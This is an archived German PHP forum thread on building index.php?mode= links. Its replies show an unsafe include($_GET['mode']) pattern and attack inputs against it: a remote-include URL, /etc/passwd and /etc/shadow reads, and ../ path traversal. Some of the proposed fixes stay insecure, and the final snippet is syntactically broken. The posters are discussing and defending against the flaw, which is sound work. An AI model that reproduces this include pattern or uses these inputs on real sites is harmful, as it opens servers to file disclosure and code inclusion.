PDA

Vollstndige Version anzeigen : Mode


sujsa
12-06-2004, 14:38
Hi.

wie mach ich die links so:

index.php?mode=register ?
Danke. Bis denne

Corvin Grning
12-06-2004, 14:46
Ich glaube ich weiss, was du vor hast:

include($_GET['mode']);

Progman
12-06-2004, 15:04
http://tut.php-q.net/frames.html

das knnte dir helfen

Dago
12-06-2004, 18:57
Original geschrieben von Corvin Grning
include($_GET['mode']);

Aufruf:

index.php?mode=http%3A%2F%2Fwww.example.com%2Fb%F6ses_skript.txt

;)

xabbuh
13-06-2004, 10:10
Kein Problem. Einfach diese Abfrage einbauen ;-)


$mode=strip_tags($_GET['mode']);
if(file_exists($mode)){
include($mode);
}
else{
include("default.txt");
}

bazubi
13-06-2004, 10:28
index.php?mode=/etc/passwd
index.php?mode=/etc/shadow

*g*

sujsa
13-06-2004, 13:40
Danke, Leute. Echt netter support.;)

xabbuh
14-06-2004, 11:19
Original geschrieben von bazubi
index.php?mode=/etc/passwd
index.php?mode=/etc/shadow

*g*

Dann machen wir halt noch einen Ordner "seiten" in den alle Dateien reinkommen, die wir includen wollen ;-)


$mode=strip_tags($_GET['mode']);
if(file_exists($mode)){
include("./seiten/" . $mode);
}
else{
include("./seiten/default.txt");
}

bazubi
14-06-2004, 11:26
Ist trotzdem noch nicht sicher!

index.php?mode=../../../../../../../../../../../../etc/passwd

Die ../../ kann man beliebig verlngern - stren nicht weiter wenn es ein paar zuviel sind!

Progman
14-06-2004, 11:36
Einfach Array-Include nehmen, dann hat man genau unter Kontrolle was geladen werden kann und was nicht, siehe dazu http://tut.php-q.net/frames.html

bazubi
14-06-2004, 11:38
Oder das ganze mit realpath auflsen.


if (file_exists('./seiten/' . realpath($_GET['mode'])) {
include ...
}